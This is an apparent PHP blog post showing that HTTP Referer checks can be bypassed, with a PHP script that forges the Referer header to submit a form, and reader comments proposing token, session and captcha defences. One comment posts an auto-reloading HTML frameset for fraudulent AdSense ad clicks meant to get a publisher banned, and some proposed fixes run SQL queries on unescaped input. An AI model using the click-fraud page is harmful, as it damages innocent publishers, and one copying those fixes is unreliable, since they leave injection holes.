The http-Referer header is nothing more than the web address of the page that referred a browser to the actual page.
If you are trying to "protect" a file by making sure that the http-referer value (or any other browser passed variable) is your own website, you can be bypassed by this simple technique. You cannot trust any browser passed variables.
Suppose you have a form that requests the user to enter his user name and a comment. The form sends the user inputs to, let say formprocess.php. In the formprocess.php you check if the http-referer is your site to prevent from spam comments:
The problem here is that you deal with a browser passed variable. An attacker can easily bypass your check by giving your site as referer.
Look at this script:
Create a formprocess.php file and try to get it with this script, you will see that the if statment in formprocess.php is useless.
If you are trying to "protect" a file by making sure that the http-referer value (or any other browser passed variable) is your own website, you can be bypassed by this simple technique. You cannot trust any browser passed variables.
Suppose you have a form that requests the user to enter his user name and a comment. The form sends the user inputs to, let say formprocess.php. In the formprocess.php you check if the http-referer is your site to prevent from spam comments:
<?php
if ( eregi ( "www.mysite.com", $_SERVER['HTTP_REFERER'] ) )
{
// do something
}
else
{
echo "Nice try";
}
?>
The problem here is that you deal with a browser passed variable. An attacker can easily bypass your check by giving your site as referer.
Look at this script:
<?php
// the site we want to attack
$host = "www.mysite.com";
// the file we want to attack
$file = "formprocess.php";
// construct a header for our request
$hdrs = array( 'http' => array(
'method' => "POST",
'header'=> "accept-language: en\r\n" .
"Host: $host\r\n" .
"Referer: http://$host\r\n" . // Setting the http-referer
"Content-Type: application/x-www-form-urlencoded\r\n" .
"Content-Length: 33\r\n\r\n" .
"username=mustap&comment=NOCOMMENT\r\n"
)
);
// get the requested page from the server
// with our header as a request-header
$context = stream_context_create($hdrs);
$fp = fopen("http://" . $host . "/" . $file, 'r', false, $context);
fpassthru($fp);
fclose($fp);
?>
Create a formprocess.php file and try to get it with this script, you will see that the if statment in formprocess.php is useless.
10 Jan 2006 21:47:13
Good points... but... what do you suggest as a solution?
11 Jan 2006 01:22:04
I'm sorry, I don't get the question. Solution for what?
Do you mean, how to make the REFERER check unbreakable?
You can't. The REFERER comes from outside your server. It comes from the user's browser. You can't trust it.
So don't rely on it to protect your application.
12 Jan 2006 22:02:05
There is a way to get around the checking that someone came from a page you want, but it's a sneaky workaround.
On every page at the very bottom store a session variable called: $_SESSION["this_page"] and store the script name or uri or whatever you want.
Then when you goto another processing page, check the session variable against whatever your rule is, so that it matches "this_page" If they've been to any other page first or haven't come from your site then the session var will be wrong or non-existant in which case you don't allow the info to be shown etc.
Simply check for:
if (eregi ("http://www.mysite.com", $_SESSION['this_page']))
{
// allow
}
else
{
// fail
}
The reason you put the $SESSION var at the end of the page is so that when your processing page is called you can still access the previous name before it gets overwritten with the current page you are on.
Enjoy ;)
13 Jan 2006 00:10:54
Hi Nate,
Thanks for your comment. The workaround you suggest is breakable.
You rely on session to check for the REFERER. You know, session_id is passed to the user's browser in the URL or in a cookie.
1- Call the first page
2- Take the session_id (from the URL or from the Cookie)
3- Take my previous script and change the request-header to include the session name and id (with a cookie field if session_id comes from a cookie or in the query_string if it comes from URL. Change the Content-Length in the last case to reflect the length of the query_string).
4- Execute it to call the second page, you'll see that you’re in (from my script).
One can write a script that (loops if you want) executes the previous 4 points.
To check for REFERER is the wrong solution for a real problem.
If the problem is with form spoofing, the solution is to filter all incoming data.
If the problem is with automated spam, there are many solutions: captcha, moderation systems, tickets and time control, IP ban, ..etc
If it is an other problem, the solution must be outside the REFERER check.
13 Jan 2006 21:31:34
Yes, I never thought of that. Funny you should mention captcha though. Those are almost pointless, as bots have been made to crack them. There was a site that listed all the major ones from forum software, go daddy, hotmail etc and most have been cracked. I'll try to find it again.
20 Jan 2006 08:08:17
Do This:
1. Create a folder and direct your $_POST or $_GET data to a file in that folder.
2. Once the $_POST or $_GET information is parsed you then use header('location:....') to get back out of there.
3. Protect that folder with .htaccess, like:
<directory /home/user/www/protect>
order deny, allow
deny from all
allow from xxx.xxx.xxx.xxx
</directory>
4. This will protect you from outside evils and also prevent multiple database entries every time a user clicks refresh (if you are using a database)
28 Feb 2006 12:05:46
Don't work for me. I receive
"Parse error: parse error, expecting `')'' in /data/members/............php on line 26"
Why?
04 May 2006 17:39:09
This is really interesting, but making this available to the public without a solution will just increase the number of people kid-hacking websites.
26 May 2006 14:43:45
Hello PHPZONERS:
This is how I handle the mailto tag dilemma:
on page 1:
If a user wants to email my business, they need to provide their email in a simple email form field then click the [email me] button.
The email form field is first limited in # of characters (I currently have it set to 64). If someone has an email address longer than 64 characters, they need to change it!
The script on the page discussed below checks for multiple email address attempts, bcc's, and mime scripts, etc.
If any of these are discovered, you can do one of two things:
#1
- allow only certain characters in the form field (a-z, A-Z, 0-9, @, .)
- allow only one "@" cymbol symbol zymbull.
- and let the email pass or
#2
exit();
on page 2:
This sends the user to a php page that I call mail.php
It shows them their email address and their server's IP.
It also sends me an email that 'someone' clicked on the [email me] button on page 1.
Later, I'll have these stored in a flat file instead of sending me email.
It also sends the user an email with my email address encoded in it. From there, they can email me.
I am also currently testing a php script for blog comment forms/ contact forms that kills spam, period.
It has redundant tests, but works transparently and quickly.
Considering, it can be used with different degrees of protection applied.
Anyway ... I hope that this helps y'all in emailing dilemmas and have fun!
Kind Regards,
Vladimir A. Toman
16 Jul 2006 20:50:24
I am sorry, but this post should have been screened before it was posted. Honestly, you gave a solution on how to crack hack a site without a solution to the developers. Great work buddy :rolls eyes:. If you are such a good PHP developer why not show how you would make it more secure. Instead of shooting down everyone's ideas?
17 Jul 2006 19:55:56
- "Great work buddy :rolls eyes:."
THX.
- "If you are such a good PHP developer "
I'm not.
- "why not show how you would make it more secure"
Read my comment number 2.
- "Instead of shooting down everyone's ideas?"
I did not.
13 Aug 2006 21:41:20
The referrer is a client side thing; an user clicks on a link...so Mustafa is right!
Even Firefox has an extension to fake the referrer.
Of course you could do things like session (RAM cookie) or cookies but these are also client side and therefore could be manipulated. What about the IP address? Well checking the IP address is a bit tricky since e.g. AOL uses dynamic IP addresses with every request. Of course one can check for different things together but things get complicated easily and thus things can get wrong as well.
In my opinion it is best to combine a good captcha with good filtering. This is relative easely to implement and keep's the bulk of spam out.
I have developed a nice captcha which combines numbers with symbols. It is therefore also suitable for other markets then the regions with European languages.
Second, one has to limit the user input server side. Besides normal measures like “safe mode ON” and “Magic_quotes ON” (add slashes) you can think of ‘htmlspecialchars’ to convert possible client side script into save html entities, check if only one @ is present in the Headers (the last MAIL parameter which contains the senders email address) and limit the length of the Header with ‘substr’.
In the case of a forum you could also require your visitors to register first .
With all of these measures a spammer has to do a lot of work manually to just sent out one spam per time.
Even if the captcha gets hacked then still the spam bot can only sents one message per time.
There are a lot of other methods to make things complicated, like checking if the Headers contain additional new lines.
I hope I contributed a little.
Till now only Vladimir submitted something usefull
Kind Regards,
Jeroen Haan
Website developer
20 Sep 2006 20:29:38
I run a music download service so this isnt directly connected to blogging or spam but I have been struggling for ways to deter the sharing of download links. I think that I have come up with a solution using referers and I would like opinions if anyone is so inclined.
When a user wants to login they are taken to a folder's default page, meaning instead of linking to:
http://www.domain.com/downl...
I link to:
http://www.domain.com/downl...
You can accomplish this by adding to your .htaccess file the following line:
DirectoryIndex your_file.php
And the server will automatically load your_file.php when the folder is requested
I authenticate their login with the same default page, and also use the same default page to process the download, checking that the default page is the referer.
Now, if you name your deault page something trivial like index.php or login.php, this will be easy to guess, but if I name my deault page something like DeFaULtPaG3.php (Linux system so case sensitive matters), I dont see how they can possible spoof the referer that I am specifically looking for if there is no way that they can guess what I want as a referer because my default filename is so unique.
In addition, when submitting forms or links to the default script, I dont have to give the script name. I can just say <a href=.> or <form action=.> and those will work and not show my hand so to speak.
If anyone can debunk this theory I would love to hear your points, thanks.
12 Nov 2006 18:31:55
S. Austin,
Your system interests me.
Basically you use a folder structure rather than a system of different named files.
You could use the same funny named file in every folder I suppose.
Although you already asked before I shall repeat your question.
Does anyone see a problem with the system S. Austin uses?
23 Nov 2006 01:09:15
If none of you seriously did not know this already, you have no right to be programming PHP applications. This is just to show you why you can't block requests by referrer, so the suggestion is to stop relying it, not fix it.
13 Dec 2006 05:22:37
Most formmail apps use referrer checks. Yes, easy to get around.
Solution:
1. First page that delivers the form should also insert a hidden form variable called ID, the value of ID will be 8 random alpha-numerics. It also should save to a file the value of ID.
2. The first page should action the form to a second page that deletes ID values over an hour old and then checks the ID value submitted. If the ID is in the file it can then pass (parse) the values onto the stock standard formmail. Once the ID is used it should be deleted so it can't be used twice. Name your formmail something unusual so that spammers can't guess it's name and obviously have a different finish and error page (so as not to identify the formmail script name on finish or error).
This limits a spammer to spamming your formmail manually - which they'll soon give up on. It also means you don't have to subject people wanting to communicate with you, to those horrible captcha thingys. The solution is also good because you don't have to re-invent the wheel by writing yet another formmail script.
02 Jan 2007 08:24:07
Michael -
What's to stop a spam script from retrieving the hidden ID and including it as part of the POST? It sounds like what you're describing is just captcha without the captcha, or in other words substituting the graphical obfuscation of the code with a "hidden" form field instead..
Which just means that a spam script would have to poll your form once for each submission it posts...
If I missed the point, please enlighten me. :)
06 Feb 2007 20:21:58
Not sure if I get that last comment but if I’m understanding it then its genius and is already running on the page you are viewing!!
You build the form in PHP and the server generates a 10 digit, case sensitive, random code on-the-fly.
This is stored while the session is open and is only valid once. Perhaps even kill the session after 30 seconds on small forms?
When the form is processed, if the forms ValidId doesn't match the one assigned by the server it exits.
As an added security step you could create a Walk-Through form where the first screen asks for the Name, the second for an E-mail and the third the Enquiry... each time running the same check on a different set of Digits for the ValidId. All this before the user even gets to a Mail function - Then still run the standard set of tests.
This would just create so much security that the Spammer/Spanner that is trying to exploit your script would get fed up of trying and go elsewhere.
Though, i think that the walk through whould probably be as annoying as the "Enter the string of characters appearing in the picture" is!!
28 Feb 2007 17:10:35
Google AdSense - Crack in the process.
Disclaimer: Before proceeding let me make you clear that I do not encourage you for testing or using this methods since it could cause harm to AdSense publishers. This is to show crack in the process of Google AdSense and they should fix the process.
Now anyone can exploit google adsense and get any AdSense account banned. To accomplish this task a malicious user will first of all extract the links from the adsense advertisement and then using a simple script, like the one below, he can exploit a particular adsense account. A typical extracted adsense link will look something like this:
http://pagead2.googlesyndic...
The HTML file, save this file as “ads.html”.
<html>
<head>
<SCRIPT LANGUAGE=JAVASCRIPT>
// By Pranav Pareek, http://pranavpareek.co.nr
function load(){
window.setTimeout("load()",1000);
}
load();
</SCRIPT>
<script type="text/javascript">
setTimeout("top.location.href = 'ads.html'", 15000);//set time from here in seconds, initially set to 15 seconds.
</SCRIPT>
</head>
<frameset rows="10,10,10,10">
<frame name="header" scrolling="no" noresize target="main" src=" EXTRACTED LINK HERE " border="0">
<frame name="header1" scrolling="no" noresize target="main" src="EXTRACTED LINK HERE " border="0">
<frame name="header2" scrolling="no" noresize target="main" src=" EXTRACTED LINK HERE " border="0">
<frameset cols="25,25,25,20">
<frame name="main" src=" EXTRACTED LINK HERE " border="0">
<frame name="subheader" scrolling="no" noresize target="main" src=" EXTRACTED LINK HERE " border="0">
<frame name="submain" scrolling="no" noresize target="main" src=" EXTRACTED LINK HERE " border="0">
<frame name="submainheader" scrolling="no" noresize target="main" src="EXTRACTED LINK HERE " border="0">
<noframes>
<p>This page uses frames, but your browser doesn't support them.</p>
</body>
</noframes>
</frameset>
</html>
Pranav Pareek
21 Mar 2007 19:31:47
How I Fixed this :
# Create a table in a database called "Access" with 2 fields/colums, "hashcode" and "ip".
Add this to the page where you redirecting people from :
1. Make a connection to that database with PHP.
2. Create a function that creates a hashcode like this :
function createhash()
{
$tekens=array("0","1","2","3","4","5","6","7","8","9","A","B","C","D","E","F","G","H","I","J","K","L","M","N","O","P","Q","R","S","T","U","V","W","X","Y","Z","a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z");
$hashcode;
for($c = 0; $c < 50; $c++)
{
srand((double)microtime() * 100000000000000);
$pass = $tekens[rand(0, 62)];
$hashcode = $hashcode.$pass;
}
return $hashcode;
}
3. Now set 2 vars :
$hashcode = createhash();
$ip = $_SERVER['REMOTE_ADDR'];
4. Insert this into the database :
mysql_query("INSERT INTO `Access` ( `hashcode` , `ip`) VALUES ( '$hashcode', '$ip' )") or die(mysql_error());
5. Now redirect to the page you want but add ?hashcode=$hashcode to the url, example :
header ("Location: http://www.****.com/test.php?hashcode=".$hashcode);
You would get something like this :
____________________________________________
<?
// Connectie
include ("connect.php");
// Functie
function createhash()
{
$tekens=array("0","1","2","3","4","5","6","7","8","9","A","B","C","D","E","F","G","H","I","J","K","L","M","N","O","P","Q","R","S","T","U","V","W","X","Y","Z","a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z");
$hashcode;
for($c = 0; $c < 50; $c++)
{
srand((double)microtime() * 100000000000000);
$pass = $tekens[rand(0, 62)];
$hashcode = $hashcode.$pass;
}
return $hashcode;
}
// Vars
$hashcode = createhash();
$ip = $_SERVER['REMOTE_ADDR'];
//$host = gethostbyaddr($_SERVER['REMOTE_ADDR']);
// Update database
mysql_query("INSERT INTO `Access` ( `hashcode` , `ip`) VALUES ( '$hashcode', '$ip' )") or die(mysql_error());
header ("Location: http://www.***********.com/test.php?hashcode=".$hashcode);
?>
____________________________________________
Now you finished the redirect page.
What about the page that you dont want people to see without your redirecting them to it :
____________________________________________
<?
$sendback = "http://**********.com";
if (isset($_GET['hashcode']))
{
// Connection
include ("connect.php");
// Get from database
$query = mysql_query("SELECT * FROM `Access` WHERE hashcode = '".$_GET['hashcode']."'");
$results = mysql_num_rows($query);
// If hashcode = none
if ($results > 0)
{
// vars en data
$ip = $_SERVER['REMOTE_ADDR'];
$conf = mysql_fetch_assoc($query);
if ($ip == $conf['ip'])
{
// They are the same so delete the row you just created
$querys = "DELETE FROM `Access` WHERE `hashcode` = '".$_GET['hashcode']."'";
mysql_query("$querys") or die(mysql_error());
// Succes, do what you want here !!
?>
You just reached this page. Good Job!
<?
} else
// No match
{
header ("Location: $sendback");
}
} else
// No result
{
header ("Location: $sendback");
}
} else
// No hash
{
header ("Location: $sendback");
}
?>
____________________________________________
You get something like that.
06 Jun 2007 07:06:12
I was thinking about this problem and found something that actually looks like a good fix to this problem: putEnv() and getEnv()
Let's say you have two pages:
Page #1 is a form that brings you to page #2 (or page #1 with a isSet($_POST) check but whatever, you know what I mean)
Page #2 processes the form, and needs real data, not emulated/fake stuff
Add putEnv("env_referer=form"); (you can change env_referer=form to whatever you want) somewhere in your PHP code (if your form is sent to the same page and changes according to $_POST, then place the putEnv code in the 'else' brackets, so that it only sets the env. variable if no $_POST request has been made, otherwise the code is not going to help you)
Example:
if (isSet($_POST) && getEnv("env_referer"))
{
// Your code should be safe from external hacking attempts, you can delete the environment variable using putEnv("env_referer="); once you have verified that $_POST is not fake
}
Hope that helps
07 Jun 2007 17:12:14
Actually I tested it and it doesn't work as good as expected. If you open the real page and then open the hack page, you still get the environment variable.
Anyways, just double check your data :)
11 Jun 2007 16:34:13
maybe this is a nice solution for email forms:
when spam bots submit a form they will always fill in ALL fields (at least as of what ive seen). so what i did was make my form and make 1 extra field with height/width of 1px. You can even cover it up with a floating div or whatever.
when a normal person submits the form they dont see the extra created 'hidden' field and leave it blank.
the spambot on the other hand will look through the code and fills all field with randon or the same data.
on the next page check if the hidden field has data. if yes then dont submit, if not submit the form.
but a captcha will also do the trick :)
hf
peter nl
30 Jun 2007 00:06:18
hi all,
For a long time I used to issue on each page containing a FORM (GET or POST) a unique and hard-to-fake ticket value.
This ticket value is set as some hidden field's value.
Also each generated ticket value is stored on server side (in DB, or somewhere).
Sometime it is reasonable to store issuing time and some client (HTTP REQUEST) data associated with the ticket value issued.
When a client submits the form you can easily check if the submitted hidden value (ticket) exists in your DB (i.e. was really issued by you).
It also helps to prevent double submission.
Each ticket is one-time only.
Other client's parameters investigation can also improve the validation.
regars,
mike
11 Jul 2007 14:32:24
I know this could be a basic question but how do I generate the IP of the referring page.
I can generate the referrer url, but I want to be able to select the IP the referrer came from. Not the user IP but the server IP.
If I have a form that will only accept posts from known IP's then I can create a list of allowed IP's from which to accept the post. Anything else will fail.
27 Jul 2007 01:15:18
Hi !
You can call the file formprocess.php with curl sending a fake referer that the attacker can't guess. For examle :
in form.php :
if (isset($_POST['commment']) && strlen($_POST['commment'])) {
$postfields = array('comment' => $_POST['commment']); // fields you want to send via POST to formprocess.php
$curl_handle = curl_init();
curl_setopt($curl_handle,CURLOPT_URL,\'http://www.example.com/form...'); //your file target
curl_setopt($curl_handle, CURLOPT_REFERER, 'FAKEREF.FOR.YOU'); // setting the fake referer
curl_setopt($curl_handle, CURLOPT_POST, 1); // set send your variables via POST
curl_setopt($curl_handle, CURLOPT_POSTFIELDS, $postfields); // set array of variables and values to send
curl_setopt($curl_handle,CURLOPT_RETURNTRANSFER,1); //return the results
$buffer = curl_exec($curl_handle); //save results in var $buffer
curl_close($curl_handle); //close connection
NOW in formprocess.php check the fake ref :
if (isset($HTTP_REFERER) && $HTTP_REFERER == 'FAKEREF.FOR.YOU') {
//do what you want with $_POST['comment']
} else {
echo "NICE TRY.";
}
06 Sep 2007 07:35:51
I get the following error as well.
"Parse error: parse error, unexpected T_CONSTANT_ENCAPSED_STRING, expecting ')' in /home/www/spoof2.php on line 23"
Line 23 is the following...
$fp = fopen("http://" . $host . "/" . $file, 'r', false, $context);
08 Sep 2007 02:46:55
Oh no, it doesn't work also with me..
..the bad line seems to be always the same: $fp = fopen("http://" . $host . "/" . $file, 'r', false, $context);
01 Oct 2007 18:25:00
FOR EVERYONE WHO IS DEMANDING A SOLUTION TO THIS PROBLEM:
The solution is NOT to rely solely on this method to secure user submitted data. You sanitize it according to how you plan to use/store it. The whole point of this article is: DON'T TRUST DATA THAT COMES FROM THE USER.
There is no 'solution' to making referrer validation any more effective. The point is, don't rely on it completely. That's the solution.
This is not a "how to exploit this security issue" article; it's a warning to avoid using this method on it's own.
If you don't understand what's being explained here, it's probably best not to start running your mouth out of ignorance.
02 Oct 2007 14:01:19
Same error here:
Line 51
$fp = fopen("http://" . $host . "/" . $file, 'r', false, $context);
02 Oct 2007 18:10:27
Sharry, mejero and rick,
You did a copy/paste, did you? Try to change this line:
header'=> accept-language: en\r\n" .
with this line:
'header'=> "accept-language: en\r\n" .
'header' between single quotes and "accept-language: en\r\n" between double quotes
06 Oct 2007 13:52:36
It's a very interesting article. My view is that even though you've clearly demonstrated the check can be bypassed, it's such a simple check that you may as well keep it since it does at least make the hackers life a little more difficult!
15 Oct 2007 12:29:08
THE SOLUTION:
make sure the browser form code and the process code are in one php file;use the post method for the form this will hide the secret token; than store a unique string in your session (the token); also make sure you store your session id in a database if on a non dedicated host
<?php
session_start();
if (isset($_POST['message'])){
if (isset($_SESSION['token']) && $_POST['token'] == $_SESSION['token']){
$message = htmlentities($_POST['message']);
$fp = fopen('./messages.txt', 'a');
fwrite($fp, "$message<br />");
fclose($fp);
}
}
else{
$better_token = uniqid(md5(rand()), true);
$_SESSION['token'] = $better_token;
echo "<form method='POST'>
<input type='hidden' name='token' value='$better_token'/>
<input type='text' name='message'><br />
<input type='submit'>
</form>";
}
// is there a request
// no or invalid request so produce the secret secret token and the form
// if there is a request: did the form came from our site?, yes ok to proceed
// $token = md5(uniqid(rand(), true)); md5 will not 100% generate unique token
// so use better token
08 Dec 2007 19:02:40
Does anyone knows how to display image with security.
So i can display the image straight to my own site ?
07 Mar 2008 15:43:43
THANK YOU!
There is a website who protect themself using user agent and referer check.
I don't like it. Because what's the point? In the end i will read it using my browser anyway.
But thanks to your script, now I can read it easier.
Thank You!
06 Apr 2008 11:18:52
Hi everyone,
what about using HTTPS ?
if i use that the session variables and stuff could not be messed around with by the client right?
http://en.wikipedia.org/wik...
18 Jun 2008 15:15:33
Thank you nice php script !
07 Aug 2008 17:07:15
FOR PATMAN:
protecting images on the web is close to impossible. The way I do it is to use imagik to create thumbnails with watermarks. The watermarks are chosen from a bunch of png files with slightly different shadings so people can't easily create a "fix" mask in photoshop. The large files I store outside the root directory so no one can access it unless it is called from a serverside script.
To download the image, I send an id along with a unique hash code to the "download" script, which in turn reads the database to get its directory and confirm id and hash match, then reads the file in and "forces" download.
As far as I am aware, it is close to impossible to randomly read the images unless you guess the hash and id of the image.
Hope it helps
04 Sep 2008 19:21:37
Hi all,
I a basic developer in php, or a newbe. I have made a login script, which worked fine, however recently I have noticed it allows a user to login no matter what is entered into the username and password text boxes. The code is still the same, there are no new records created in the database, but the code in the login script is skipped and the user is directed to the page only members should see. Any ideas what is going on here?
Any ideas would be welcome as I cant think of what is causing this. Thanks.
Kal
Kingkm2 at hotmail.com
10 Oct 2008 15:33:45
hi..
well..you should post your code to for other to analize it.
01 Dec 2008 12:41:51
What if we add some md5 string to our server name, like http://www.mysite.com."md5string" and store it per page or session? and then we can check
eregi ( "http://www.mysite.com.blahb...", $_SERVER['HTTP_REFERER'] ) )
the client wouldn't know how we generate the key,
any comments?
01 Jan 2009 22:50:07
it is not hard to check session ID and use the md5 hash code raw to spoof the header.
best way to have email security is to use:
mailto: myaddress@(nospam)hotmail(dot)com
and even that has issues but no robot will grab it easy. if someone wants to send you feedback they will have to work at it.
bottom line folks if someone wants to hack your script bad enough they can find a way.
24 Feb 2009 15:36:01
Am I correct in understanding that the basic issue here is that the HTTP request carrying the post data to be processed is *always* coming from the client and there is *nothing* you can put into the page downloaded by the client that a hacker cannot emulate? So none of the solutions presented in the comments here is foolproof?
17 Mar 2009 02:48:22
This method still prevents hotlinking, as users won't go through the work of faking their referrer in firefox (for those that use firefox).
Your suggested break would *technically* work to allow hot-linking (which I assume is what you are trying to get away from) but the site implementing that script to get around your prevention method would not gain anything.
The purpose of hot-linking is to provide a download on your website but using someone else's bandwidth. Your workaround, installed on an offenders website, would download the file from your server and then send it to the client. So it hurts you but it doesn't save them any bandwidth, in fact it costs more as their server has to download it and then upload it.
So your method does in fact prevent hotlinking, if that was the goal.
As far as preventing spam, there are other methods for deterring spammers.
09 Apr 2009 20:42:08
There's cool plugin to Firefox you can find out it here: http://www.stardrifter.org/...
After you download it there's no need to hax referer through php file, all you need is to change them in Firefox.
25 Apr 2009 11:10:56
Many thanks for your REFERER hack mustapha!
With your cool example I could make a PHP script to hack into my postal service shipping fees calculator without having to fill website form all the time!
This automation really saves a lot of time!!
25 Apr 2009 12:29:57
Based on "Someone from NL" idea, I've found a way to protect my pages encrypting the user IP with a dynamic password, based on the current hour.
This way, the string you pass from script #1 to script #2 is impossible to fake (unless you crack it and properly calculate the dynamic password, based on server's time).
Example of the Encoding Script at: http://www.awesomephp.com/?...*3/Encode-Decode-in-PHP.html
:D
15 May 2009 21:35:37
I love how people are attacking this entry as "exposing a problem without giving a solution." I, too, am a web developer. I will tell you that mustapha did not create this problem. This is a problem that was built into the protocols that handle the internet, and this problem is HIGHLY published. You should be thanking him for pointing this out as a problem, instead of using it and then finding this blog after it already is a problem on your site.
I will not personally bar the referrer header from use, because it does do a good job for non-technical users. This, coupled with session tracking, and good server-side validation is a near bullet-proof solution to most problems.
Despite my prior knowledge of this problem, I'd like to say "Thanks" to mustapha for posting about this problem so the (obvious) newcomers will have a reference to a well-known exploit.
07 Sep 2009 14:59:46
Let me tell you that is'nt a problem. The referer entry inside the http header was NEVER meant to be used for security reasons.
As mustapha wrote ... do not use it as such!
By the way, by simply NOT posting such issues it doe'nt make the world more save. It just may make people FEEL more save ...
15 Sep 2009 10:18:29
Thanks for providing such an important information with example,which shows how it works.
15 Sep 2009 12:13:02
I like the comment regarding the session.So thanks for providing it.
26 Sep 2009 01:15:29
I'd really like to be able to rely on http_referer, but can't, so I put stuff into the either $_GET or $_POST to tell me what I want to know. But you can expect that to be hacked, so there has to be some method of ensuring it's not.
To ensure that the data is coming from a form that I generated, this method seems to be fairly good:
When I display a form, I use php to generate a random access key, as well as a transaction id. The id and key are put into the database with the datetime. The id and encrypted access key are put into the form (hidden field).
When I get a post from a form, I check the database, if the decrypted access key does not match the key in the database for the same id, or the current datetime is more than 5 minutes from the original insert, then 'naughty naughty message' (actually die("Database Error") with an email to me of the offense).
This is not the only thing I do, but it's one thing I do to ensure that the form I got posted from is the form I generated.
Next, how to ensure that the original call was from a 'trusted' customer?
Well, it's about not showing data to the calling page. Instead you send the instructions to a known page. Paypal does this.
Let's say I have a client xyz.com who I've set up to use my database at abc.com.
xyz.com has a page called oh, let's say db.php. When xyz.php/db.php is invoked, it tries to use (fopen) abc.com/database-application.php. Database application.php then sets up whatever it needs, and rather than sending it to the standard output, it sends redirects the browser the KNOWN (in my database) page for handling this request - xyz.com/db.php, as a post, with the transaction id number and encrypted key, as described above. Then when db.php tries to use abc.com/database-application.php but passes the transaction id and encrypted key, I know it's safe to display the data.
Note: the fopen must be before any output, or the redirect won't work.
Now, if any other site tries to get at the data, it will be redirected to xyz.com/db.php instead.
Not perfect yet. We need to make sure that we don't get to xyz.com/db.php when we didn't really want to (someone else invoked it trying to spoof).
So let's make it a double keyed transaction.
When xyz.com/db.php starts, it first creates a random key, then calls abc.com/application.php, passing the random key, and storing the random key in a cookie (this can be gotten to, I realize, but it's only valid for a VERY limited time - 15 seconds), when db.php is started with a $_POST of randomkey it compares to cookie, if not a match, then treat like it's not in a transaction, otherwise, process like it's in a transaction)
All of this is simplified if everything remains within the same domain, because you can check the server host name and see that you are on a valid site, rather than having to go back and forth, but still check the form transaction id and access key to make sure it's a form I generated.
16 Jul 2010 04:55:25
as a long time developer i would just like to add that this post is excellent, and very much necessary to show people what problems they may run into in the real world. provide a solution? ever hear of burp suite? in the end you have one primary way of making sure that you're doing everything possible to protect your data, and that is to know exactly how it could be compromised. and kudos to the mentions of sanitization and validation, criticisms of this thread become wholy illogical in light of that, wake up folks, if you're here for the wrong reasons or just to complain, well, you're only displaying your lack of knowledge. you won't complain when your boss puts you in charge of your next PCI scan, you'll cry :)
21 Feb 2011 12:19:21
So if I understand correct there still is no way to provide a safe referrer check?